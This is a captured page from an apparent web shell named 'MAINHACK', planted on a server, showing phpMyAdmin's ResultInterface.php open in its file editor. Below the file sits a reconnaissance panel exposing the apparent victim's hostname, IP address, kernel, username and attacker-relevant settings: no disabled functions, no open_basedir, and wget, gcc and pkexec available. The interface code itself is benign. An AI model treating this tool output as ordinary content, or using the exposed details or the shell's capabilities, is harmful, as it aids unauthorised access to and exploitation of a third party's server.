[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ResultInterface.php
<?php /** * Extension independent database result interface */ declare(strict_types=1); namespace PhpMyAdmin\Dbal; use Generator; use IteratorAggregate; use PhpMyAdmin\FieldMetadata; /** * Extension independent database result interface * * @extends IteratorAggregate<array<string, (string|null)>> */ interface ResultInterface extends IteratorAggregate { /** * Returns a generator that traverses through the whole result set * and returns each row as an associative array * * @psalm-return Generator<int, array<string, string|null>, mixed, void> */ public function getIterator(): Generator; /** * Returns the next row of the result with associative keys * * @return array<string,string|null> */ public function fetchAssoc(): array; /** * Returns the next row of the result with numeric keys * * @return array<int,string|null> */ public function fetchRow(): array; /** * Returns a single value from the given result; false on error * * @param int|string $field * * @return string|false|null */ public function fetchValue($field = 0); /** * Returns all rows of the result * * @return array<int, array<string,string|null>> */ public function fetchAllAssoc(): array; /** * Returns values from the first column of each row * * @return array<int, string|null> */ public function fetchAllColumn(): array; /** * Returns values as single dimensional array where the key is the first column * and the value is the second column, * e.g. "SELECT id, name FROM users" * produces: ['123' => 'John', '124' => 'Jane'] * * @return array<string, string|null> */ public function fetchAllKeyPair(): array; /** * Returns the number of fields in the result */ public function numFields(): int; /** * Returns the number of rows in the result * * @return string|int * @psalm-return int|numeric-string */ public function numRows(); /** * Adjusts the result pointer to an arbitrary row in the result * * @param int $offset offset to seek * * @return bool True if the offset exists, false otherwise */ public function seek(int $offset): bool; /** * Returns meta info for fields in $result * * @return array<int, FieldMetadata> meta info for fields in $result */ public function getFieldsMeta(): array; /** * Returns the names of the fields in the result * * @return array<int, string> Fields names */ public function getFieldNames(): array; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002